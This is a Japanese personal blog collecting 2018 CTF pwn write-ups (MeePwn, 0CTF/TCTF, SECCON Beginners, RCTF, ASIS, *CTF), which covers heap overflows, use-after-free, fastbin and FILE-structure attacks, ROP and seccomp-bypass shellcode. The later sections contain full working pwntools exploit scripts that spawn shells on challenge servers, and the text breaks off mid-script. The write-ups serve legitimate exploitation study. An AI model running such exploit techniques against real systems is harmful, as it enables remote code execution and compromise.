ブログ未満のなにか

ブログなのか誰にも分からない

MeePwn CTF 2018 Quals babysandbox, house_of_card, secure_message, 0xBAD MINTON writeup

はじめに

TokyoWesternsで参加して5920ptsで6位だった。finalsに行ける順位なのでベトナムに行くかもしれない。ワールドカップの試合の結果を予想して当てると点数が貰えたりする良いCTFだった。 共同で解いた分を含めて4問解いた。house_of_cardとsecure_messageはfirst solveだったので良かった。

babysandbox

pythonで書かれたサーバ部分では、投げられたペイロードに対してシステムコールのチェックを行っている。 open, read, write, execveといった、よくあるシステムコールが禁止されている。 チェックを通るとバイナリが実行される。 実行結果は、実行が成功したかどうかしか知ることができない。つまりバイナリ側の出力は分からない。

バイナリはシェルコードを受け取り実行するだけである。

以上から、システムコールが制限された状況でシェルコードを書くだけである。 方針は単純で、open, read, writeは禁止されているので、openat, readv, writevで代用する。 出力の受け取りは、socketを作ってサーバーで待ち受けるようにする。

MeePwn CTF 2018 Quals babysandbox · GitHub

% nc -lv 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [178.128.100.75] port 31337 [tcp/*] accepted (family 2, sport 42588)
MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect}

(Unicorn関係あったか?)

house_of_card

first solveだった。ログを見ると問題が公開されて1時間程度で解けていた。

実行すると以下のようにnoteを作ったり編集したり削除ができる。編集と削除を行うときにnoteの中身を見ることができる。noteは以下の構造体で管理される。バグは、edit時に作った時のサイズよりも0x40多く指定しても問題ないので、heap bofが起きることである。

# ./house_of_card
============ 📚 Notes 📚 ============
     1. New Note
     2. Edit Note
     3. Del Note
     4. Quit
    ⛩
struct note {
    char name[0x40];
    int length;
    char description[length];
};

struct node {
    struct note* note;
    struct node* own;
    struct node* next;  
};

まずは、libcのアドレスをリークさせるためにチャンクのサイズを書き換えてオーバーラップを起こした。リーク後は、単方向リストを形成する方の構造体のポインタを書き換えて、__free_hookを書き換えた。

MeePwnCTF 2018 Quals house_of_card · GitHub

# python exploit.py r
[*] '/root/ctf/MeePwnCTF/House_of_Card/house_of_card'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[+] Opening connection to 178.128.87.12 on port 31336: Done
[*] Pwning
[*] libc_base: 0x7f01a3333000
[*] Switching to interactive mode

>$ cat flag
MeePwnCTF{no_moreeeeee_h43p}

secure_message

これもfirst solveだった。

適当にやっていたら解けたのでよくわかっていない。 urandomのfdを保持している箇所は、4番目のユーザーのパスワードを最大で入れるとnull終端時に0で上書きされる。つまりランダムっぽくしたい部分を任意にできる。 messageはmmap()で取得された領域が使用され、第一引数はurandomから呼んでランダムになるはずである。上記のバグで任意の第一引数でmmap()を実行できる。MAP_FIXEDが付いているので、おおよそ第一引数通りのアドレスが取得できる。 edit時にサイズを変えるとsegvで落ちるパターンがあり、落ちないように適当にやっていたら解けた。

MeePwn CTF 2018 Quals secure_message · GitHub

# python exploit.py r
[*] '/root/ctf/MeePwnCTF/secure_message'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[+] Opening connection to 178.128.87.12 on port 31337: Done
[*] Pwning
[*] bin_base: 0x557bac867000
[*] libc_base: 0x7fb8da3da000
[*] heap_base: 0x557bacb57000
[*] Switching to interactive mode
$ cat /home/sm/flag
MEEPWNCTF{MAP_FIXED_1s_v3ry_dangerous}

0xBAD MINTON

misc(web+pwn)。 pwnパートをやった。フロントエンドではアカウントのregister/loginができ、アカウントごとに固有のトークンが付与される。 3回までenrollでき、4回目以降は普通ではできなかった。

リスティングが有効でファイル一覧が取得できた。ファイル一覧では各種phpファイルとTODO.txtbackend_serverが見れる。 TODOには、178.128.84.72:9997で待ち受けている旨が書かれている。 実際にアクセスしてみると、backend_serverが動いていた。 backend_serverは、トークンをもとにDBからアカウントの情報を取得し諸々の処理を行う。 enrollしている場合、enrollした回数だけstack上にペイロードを投げることができる。ペイロードはstack上に保存される。 backend_serverのバグは、4回以上enrollしている場合stack bofとなる点である。しかし、SSPが有効なのでROPはできない。

フラグは事前にbss上に直置きされる。No PIEなのでアドレスは固定である。

方針は単純で、webパートで4回以上enrollしてstack bofを起こし、argv[0] leakを行う。チームメンバが4回enrollしたアカウントを作ってくれたので、あとはやるだけだった。pwnパートは以下の通りである。stderrがネットワーク越しに漏れてこないと面倒だったが特に気にしなくて良かった。

MeePwn CTF 2018 Quals 0xBAD MINTON · GitHub

# python exploit.py r
[*] '/root/ctf/MeePwnCTF2018/0xBADMINTON/backend_server'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 178.128.84.72 on port 9997: Done
[*] Pwning
[*] Switching to interactive mode
 Okie let's recheck your courses again:
#0 aaaaaaaaaaaaaaaa

#1 aaaaaaaaaaaaaaaa

#2 aaaaaaaaaaaaaaaa

#3 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxp@`
Okay! Let's warm-up
----------------BADMINTON TRAINING----------------
1. Push-up
2. Running
3. Give up
> *** stack smashing detected ***: MeePwnCTF{web+pwn+oldschool+stuff+stack+terminated}
 terminated
[*] Got EOF while reading in interactive

0CTF/TCTF Finals Baby Heap 18.04, freenote2018 writeup

Baby Heap 18.04

機能

起動すると以下のように機能を選択できる。

===== Baby Heap 18.04 =====
1. Allocate
2. Update
3. Delete
4. View
5. Exit
Command:

各機能は、

  • 1. Allocate 0x1 ~ 0x58までのサイズでmallocを実行できる。取得された領域はmemsetによって取得したサイズ分0埋めされる。ポインタは、bss上にある配列でサイズ、管理フラグと共に保管される。
  • 2. Update 指定したindexの領域へ、サイズを指定して書き込みを行える。サイズはAllocateで指定したサイズ+1まで指定できる。off-by-one overflow
  • 3. Delete 指定したindexをfreeする。管理フラグを0にする。
  • 4. View 指定したindexの領域を、Allocateした時のサイズ分だけwriteで出力する。

方針

Updateでoff-by-one overflowがあるので、直下のチャンクのサイズを任意の値にすることができる。 まずは、チャンクのoverlapを起こし、address leakを行う。heapのアドレスは簡単に取ることできるが、この問題の環境はubuntu 18.04でありglibc 2.27である。つまりtcacheが有効になっている。tcacheが有効な環境では、サイズが0x420以上のチャンクをfreeすれば、そのチャンクはunsorted binに入り、fd/bkにmain_arenaを指すポインタが置かれる。あとはこのアドレスを出力させればいい、

制御の奪取はとても簡単で、tcacheには、繋がっているチャンクのサイズの確認が一切なく、fake chunkのサイズに該当する部分がどのような値であろうと問題なく動作する。__free_hookを指すようにtcacheのfdを書き換えて、mallocするだけで、__free_hookを指す領域を取得できる。

exploit

0CTF/TCTF 2018 Finals Baby Heap 18.04 pwn · GitHub

freenote2018

機能

選択肢は以下の5つ。

1. init a note
2. edit a note
3. free a note
4. show a note
5. exit

各機能は以下の通りである。

  • init a note 指定したサイズでmallocを実行できる。サイズの制限は0x1 ~ 0x100となっている。確保した領域のポインタはbss上にある配列でポインタと一緒に管理される。
  • edit a note index指定で1で取得した領域へ書き込みができる。書き込みできるサイズは、initした時のサイズと同じであり、overflowはない。
  • free a note index指定で指定した領域をfreeできる。free後にポインタをNULL埋めしないため、double freeできる。
  • shoe a note 選択肢として存在するだけで、何もしない(表示もしない)

freeしたポインタがそのまま残っており、editとfreeで何度でも指定することができる。ただし、address leakに使えそうな機能が存在しない。

方針

最近読んで覚えていたので、以下の手法を使った。 House_of_Roman.md · GitHub

手法の概要は、unsortedbinに繋がるチャンクをfastbinsの方へforgeし、さらにチャンクのfdのmain_arena辺りを指すポインタをpartialで書き換えることで、__malloc_hook付近を指すように書き換えてfastbin attackを成立させる。これで__malloc_hook付近を覆うようにmallocで取得できる。 さらに、__malloc_hookへunsortedbin attackによってlibcのアドレスを書き込み、partialで下位3byteを書き換えることで、one gadget RCEのアドレスを作る、といったものである。当然だが、brute forceが必要であり提案者は12bit分だと言っている(体感だともっと悪い気がする)。

今回のバイナリでは、

  • initでmallocはするが書き込みeditと別になっている
  • UAFによるfd辺りの書き換えがeditで容易にできる
  • double freeによってfastbin attackが用意である といった感じで都合が良い。

exploit

12bit brute forceが必要となる。

0CTF/TCTF 2018 Finals freenote2018 pwn · GitHub

SECCON BeginnersCTF 2018 writeup

はじめに

ShenzhenWesternsで参加して全完した。普段はTokyoだが、0CTF Finalsで深圳に行っているメンバーがいたのでShenzhenになった(たぶん)

condition

main関数での[rbp-0x4]が0xdeadbeefであれば、flagが出力される。

# python -c 'print "\xef\xbe\xad\xde"*0x10' | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

BBS

入力でgets()を使っているので自明なstack bof。 バイナリ内でsystemを使っているので、適当にROPするだけ。 '/bin/sh'が必要なので、先にgets()bssあたりに書き込み、systemを呼んだ。

SECCON BeginnersCTF 2018 BBS · GitHub

Seczon

comment機能にFSBがある。 まずは、libcとstackのアドレスをリークした。 制御を取るためにstackに積まれているmain関数の戻りアドレスを書き換えた。 commentとして入力した文字列は、stackにそのまま乗っているのでやるだけ。

SECCON BeginnersCTF 2018 Seczon · GitHub

Veni, vidi, vici

1行目は、ROT13。2行目は、https://quipqiup.com/ に投げた。3行目は読むだけ。

plain mail

zipファイルがbase64で見えるので、取り出す。zipのパスワードはメール中に書いてある。

てけいさん

やるだけ

SECCON BeginnersCTF 2018 てけいさん · GitHub

RCTF 2018 writeup

babyheap

bug: 1. Allocにoff-by-one single byte null overflowがある。 下のチャンクのsizeが上書きでき、サイズの縮小とPREV_INUSEビットのクリアができる。 適当にやればチャンクのoverlapができるので、libcのアドレスをリークをしてfastbin attackをした。 __malloc_hookにone gadget rceを書き込んだ。

https://gist.github.com/hama7230/86643fbf8ad4b6f31521e77a3339b4cf

RNote4

editで入力するサイズの整合性を確認していないため、allocで作成した時のサイズよりも大きい値を入れればheap bofとなる。 editで書き込めるポインタがあるので、そこを書き換えることで任意アドレスの書き換えが出来るようになる。 リークができそうな部分がないが、No PIEでNo RELROとなっているので何とでも出来る。 No RELROなのでstrtabを偽装して、名前解決時にfreeをsystemへとすり替えた。

https://gist.github.com/hama7230/2483803ead0853b7b218b5402986b9fe

stringer

競技中には解けなかった。 UAFがありdouble freeができる。しかしcallocによって割り当てられた領域は0初期化されてしまうので、アドレスのリークができない。 callocでは、IS_MMAPPEDビットがたつチャンクの0初期化が行われないようになっているので、editで当該ビットを立てるようにする。

あとはfastbin attackから__malloc_hookへone gadget rceを書き込んだ。

https://gist.github.com/hama7230/9c74cf53fa2d553cb3baea56a881fbbc

cpushop

hash length extention attackをする。

https://gist.github.com/hama7230/c6b89247bb7a941cdc4e976e16232779

git

blobをzlibで解凍してみたら、flagがあった。

ASIS CTF Quals 2018 writeup

Cat

editで更新をしないとUAFが起きるので適当にやった

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./Cat')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6000
LHOST = "127.0.0.1"
LPORT = 6000

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./Cat'], gdbscript=gdbscript)
else:
    conn = process(['./Cat'])
    # conn = process(['./Cat'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def create(name, kind, age):
    conn.sendlineafter('which command?', '1')
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', str(age))

def edit(idx, name, kind, age, flag):
    conn.sendlineafter('which command?', '2')
    conn.sendlineafter('id?', str(idx))
    conn.sendafter('name?', name)
    conn.sendafter('kind?', kind)
    conn.sendlineafter('old?', age)
    conn.recvuntil('/n> ')
    if flag:
        conn.sendline('y')
    else:
        conn.sendline('n')
def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('> ', str(idx))


# exploit
log.info('Pwning')

create('a'*8, 'b'*8, 20)
edit(0, 'x'*8, 'y'*8, '20', False)
create('e'*8, p64(0x602000), 20)
edit(0, 'w'*8, p64(0x602068), '20', True)
conn.recvuntil('which command?')
conn.sendline('4')
conn.recvuntil('name: ')
conn.recvuntil('name: ')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x36e80
dbg("libc_base")

create('a'*8, 'b'*8, 20)
create('s'*0x10, 'v'*0x10, 20) # 3
edit(3, 'x'*0x10, p64(0x602068) * 2, '20', False)
create('x'*10, p64(0x602068)*2, 100)
edit(3, 'hogehoge', p64(libc_base + 0x45390), '/bin/sh\x00', False)

conn.interactive()

FCascasde

適当にstdinの_IO_buf_baseへnull byteを書き込んで制御をとった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fstream')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6002
LHOST = "127.0.0.1"
LPORT = 6002

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """
    b *0x400A91
    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fstream'], gdbscript=gdbscript)
else:
    conn = process(['./fstream'])
    # conn = process(['./fstream'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

# exploit
log.info('Pwning')

conn.recvuntil('>')
conn.sendline('11010110\x00')
conn.recvuntil('>')
conn.send('0'*0x98)
conn.recvuntil('0'*0x98)
libc_base = u64(conn.recv(6)+'\x00'*2) - 0x20830
dbg('libc_base')
conn.recvuntil('>')
conn.send('0'*0x30 + p64(libc_base + 0x4526a) + p64(0)* 0x10)

conn.recvuntil('>')
conn.sendline('1'*0x8)
conn.recvuntil('>')
conn.sendline('10110101')
conn.recvuntil('>')
conn.sendline(str(libc_base + 0x3c4918 + 1))
conn.recvuntil('>')
payload = p64(0xdeadbeef) * 3
payload += p64(libc_base + 0x3c4b10)  + p64(libc_base + 0x3c4b10 + 0x10) + p64(0)
conn.sendline(payload)
conn.sendline('x'*0x10 + p64(libc_base + 0x00036cfc ))

conn.interactive()

Fifty Dollars

0x60のchunkしかmallocできないが、double freeがあるので適当にやった。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./fifty_dollars')
context(os='linux', arch=elf.arch)
#context(log_level='debug')  # output verbose log

RHOST = "178.62.40.102"
RPORT = 6001
LHOST = "127.0.0.1"
LPORT = 6001

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./fifty_dollars'], gdbscript=gdbscript)
else:
    conn = process(['./fifty_dollars'])
    # conn = process(['./fifty_dollars'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def alloc(idx, tmp):
    conn.sendlineafter('Your choice:', '1')
    conn.sendlineafter('Index:', str(idx))
    conn.sendafter('Content:', tmp)

def show(idx):
    conn.sendlineafter('Your choice:', '2')
    conn.sendlineafter('Index:', str(idx))

def delete(idx):
    conn.sendlineafter('Your choice:', '3')
    conn.sendlineafter('Index:', str(idx))

# exploit
log.info('Pwning')

alloc(0, 'hoge'*0x8)
alloc(1, 'hoge'*0x8)
delete(1)
delete(0)
show(0)
buf = conn.recvuntil('Done!')[:6]
heap_base = u64(buf+'\x00'*2) - 0x60
dbg("heap_base")
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x20)
alloc(3, 'w'*0x20)
alloc(4, 'u'*0x20)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0xb0) + 'hogehoge')
alloc(1, 'hoge')
alloc(1, 'hoge')
payload = p64(0) + p64(0xc1)
alloc(1, payload)
delete(2)
show(2)
buf = conn.recvuntil('Done!')[:6]
libc_base = u64(buf+'\x00'*2) - 0x3c4b78
dbg("libc_base")
alloc(1, 'hoge'*11 + 'x'*8)
alloc(1, 'hoge'*10)
alloc(0, 'x'*0x20)
alloc(1, 'y'*0x40+p64(0)+p64(0x61))
alloc(2, 'z'*0x40+p64(0)+p64(0x61))
payload = p64(0) + p64(0xc1)
alloc(1, payload)
alloc(3, p64(0xdeadbeef)*2)
alloc(4, 'u'*0x30 + p64(0) + p64(0x31))
aa = 59
for i in range(aa - 13):
    print i
    alloc(8, 'a')
for i in range(13 - 4):
    print i
    alloc(8, 'b')
payload = 'x'*0x20
payload += p64(0) + p64(0x31)
alloc(8, payload)
for _ in range(3):
    alloc(8, 'c')
payload = 'x'*0x10
payload += p64(0) + p64(0x31)
alloc(8, payload)
delete(0)
delete(1)
delete(0)
alloc(0, p64(heap_base+0x290) + 'hogehoge')
alloc(1, 'hoge'*12 + p64(libc_base + 0x3c49c0))
alloc(1, 'hoge'*10)
payload = p64(0) + p64(0xc1) + p64(libc_base + 0x4526a) * 8
alloc(1, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c67f8 - 0x10 )
alloc(7, payload)
payload = p64(libc_base + 0x3c4b78) * 2
alloc(7, payload)
delete(1)
payload = p64(0) + p64(0x181) +  p64(libc_base + 0x3c4b78)  * 2
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x61)
payload += p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c5520 - 0x10)
alloc(9, payload)
delete(1)
payload = p64(0) + p64(0x17c1) + p64(0) * 2 
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) + p64(0x17c1 - 0x10*23) + p64(0) * 2   
alloc(7, payload)
delete(2)
delete(1)
payload = p64(0) * 3 + p64(libc_base + 0xf1147)
alloc(1, payload)

conn.interactive()

My Blog

seccompでsandboxになっているが、openはopenatで簡単に回避できるので、stagerを流して本体のshellcodeを実行させた。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./myblog')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./myblog'], gdbscript=gdbscript)
else:
    conn = process(['./myblog'])
    # conn = process(['./myblog'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def write(con, aut):
    conn.sendlineafter('4. Exit\n', '1')
    conn.recvuntil('content')
    conn.sendline(con)
    conn.recvuntil('author')
    conn.sendline(aut)

def delete(idx):
    conn.sendlineafter('4. Exit\n', '2')
    conn.sendlineafter('index', str(idx))

def show(name):
    conn.sendlineafter('4. Exit\n', '3')

    conn.send(name)

def bof(pay):
    conn.sendlineafter('4. Exit\n', '31337')
    conn.recvuntil('gift 0x')
    addr = int(conn.recv(12), 16) - 0x0
    conn.send(pay)
    return addr

# exploit
log.info('Pwning')

bin_base = bof('abcd') - 0xef4
dbg('bin_base')
for i in range(0x31):
    write('hoge', 'fuga')
show(p64(bin_base + 0x202040)[:7])
delete(-1)
for i in range(0x31):
    delete(i)
write('x'*0x2e, 'y'*4)

conn.sendline('3')
conn.recvuntil('Old Owner : ')
heap_base = u64(conn.recv(6)+'\x00'*2) - 0x970
dbg("heap_base")
conn.sendline('hoge')

# 0x0000116b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
pop_rbp_r12_r13_r14_r15 = bin_base + 0x0000116b
pop_rdi = bin_base + 0x00001173
pop_rbp = bin_base + 0x00000990
pop_rsi_r15 = bin_base + 0x00001171
# : pop rsi ; pop r15 ; ret  ;  (1 found)
leave_ret = bin_base + 0x10fa
heap = heap_base + 0x1ef0 + 0x38


rop = p64(pop_rdi) + p64(0x0)
rop += p64(pop_rbp) + p64(bin_base +0x202040)
rop += p64(leave_ret)

write(rop[:0x2e], 'y'*0x6)
write('x'*0x2e, 'y'*0x6)
write('x'*0x2e, 'y'*0x6)


#write('x'*0x20, 'y'*4)
shellcode = '''
hoge: syscall;
push rcx;
pop rsi;
pop rax;
jmp hoge;
'''
show(asm(shellcode))
raw_input('exec shellcode')
bof(p64(heap)*2+p64(bin_base + 0x000010fa))

shellcode = '''
push 0x30
pop rax
xor al, 0x30
push rax
mov rax, 7449354444781596526
push rax
mov rax, 8606431000579237935
push rax

mov rdi, -100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 257
syscall

mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 0x100
xor rax, rax
syscall

mov rdi, 0x1
lea rsi, [rsp+0x100]
mov rdx, 0x100
mov rax, 1
syscall
'''
conn.sendline('\x90'*0x30 + asm(shellcode))

conn.interactive()

Message Me!

リモートと手元の環境ではtimezoneが違うせいか、ctimeによってheapの状況が変わり元々のexploitは刺さらなかった。固定アドレスとなっているbss上に必要なものを配置した。

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./message_me')
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "159.65.125.233"
RPORT = 6003
LHOST = "127.0.0.1"
LPORT = 6003

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./message_me'], gdbscript=gdbscript)
else:
    conn = process(['./message_me'])
    # conn = process(['./message_me'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

def add(size, mess):
    conn.sendlineafter('choice : ', '0')
    conn.sendlineafter('size : ', str(size))
    conn.sendafter('meesage', mess)

def remove(idx):
    conn.sendlineafter('choice : ', '1')
    conn.sendlineafter('Give me index of the message : ', str(idx))
    conn.recvuntil('Done')

def show(idx):
    conn.sendlineafter('choice : ', '2')
    conn.sendlineafter('Give me index of the message : ', str(idx))

def change_time_stamp(idx):
    conn.sendlineafter('choice : ', '3')
    conn.sendlineafter('Give me index', str(idx))
    conn.recvuntil('Done')

# exploit
log.info('Pwning')

add(0xf00, 'hoge'*10)
add(0x100, 'hoge'*10)
remove(0)
add(0x80, 'x')
show(2)
conn.recvuntil('Message : ')
libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c5178
dbg('libc_base')
stdout = libc_base + 0x3c5620
stdin = libc_base + 0x3c48e0

add(0x60, p64(0x71) + p64(0x602075))   # 3
add(0x60, 'hoge')   # 4
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
add(0x60, 'hoge')
add(0x60, 'hoge')
payload = 'x'*0xb + 'y'*8
payload += p64(libc_base + 0x3c5620) * 2+p64(libc_base + 0x3c48e0)  + p64(0x181)
payload += p64(0x6020c0) + p64(0x602230+8)+ p64(0x602230+0x28)
print hex(len(payload))
add(0x60, payload)

change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(1)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
change_time_stamp(2)
remove(0)
fake_stdout = p64(0x0)
fake_stdout += p64(0xfbad2887) + p64(0)*2+p64(libc_base + 0x3c56a3) * 5 + p64(libc_base +0x3c56a4)
fake_stdout += p64(0)*4 + p64(libc_base+0x3c48e0)
fake_stdout += p64(1) + p64(0xffffffffffffffff)
fake_stdout += p64(0) + p64(libc_base+0x3c6780)
fake_stdout += p64(0xffffffffffffffff) + p64(0)
fake_stdout += p64(libc_base+0x3c47a0) + p64(0)*3
fake_stdout += p64(0xffffffff) + p64(0)*2
fake_stdout += p64(0x6021b0)
vtable = 'a'*0x18 + p64(libc_base + 0x4526a) + 'c'*0x18 + p64(libc_base + 0x791e0) + 'b'*0x30
add(0x170, fake_stdout+vtable)

add(0x60, p64(0x71)+p64(0x602075))
add(0x60, 'fugafugafugafuga')
remove(3)
remove(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(4)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(3)
change_time_stamp(4)
add(0x60, 'fugafugafugafuga')
add(0x60, 'fugafugafugafuga')
add(0x60, 'x'*0xb + 'y'*8 + p64(0x6020d0))

conn.interactive()

* CTF 2018 writeup

warmup (misc)

miscだがpwnだった。 stack bofがあるのでやるだけ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10006
LHOST = "127.0.0.1"
LPORT = 10006

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./warmup')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./warmup'], execute)
else:
    conn = process(['./warmup'])
    # conn = process(['./warmup'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation


pop_rdi = 0x00400a63
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400a40
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x00400a5a
printf_got = 0x0000000000600fc8
puts_plt = elf.symbols['puts']
main_addr = 0x4008B9


log.info('Pwning')

conn.sendlineafter('for?', str(0x601030))
conn.recv(1)
heap_addr = int(conn.recvline(), 16)
log.info('heap_addr = 0x%x', heap_addr)

payload = 'x'*0x18 + p64(heap_addr) + 'y'*0x8 + p64(main_addr)
conn.sendline(payload)

conn.sendlineafter('for?', str(0x601010))
conn.recv(1)
libc_base = int(conn.recvline(), 16) - 0x3c5620
log.info('libc_base = 0x%x', libc_base)

payload = 'x'*0x18 + p64(heap_addr+0x20) + 'y'*0x8 + p64(libc_base + 0x4526a) + p64(0) * 10
conn.sendline(payload)

conn.interactive()

urlparse (pwn)

size 0にするとbkに該当する部分からアドレスリークができる。 top chunkを移動させることでchunk sizeを巻き込んだencode/decodeができ、chunk sizeの改竄ができる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.75.4.252"
RPORT = 10013
LHOST = "127.0.0.1"
LPORT = 10013

# libc = ELF('')
elf = ELF('./urlparse2')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
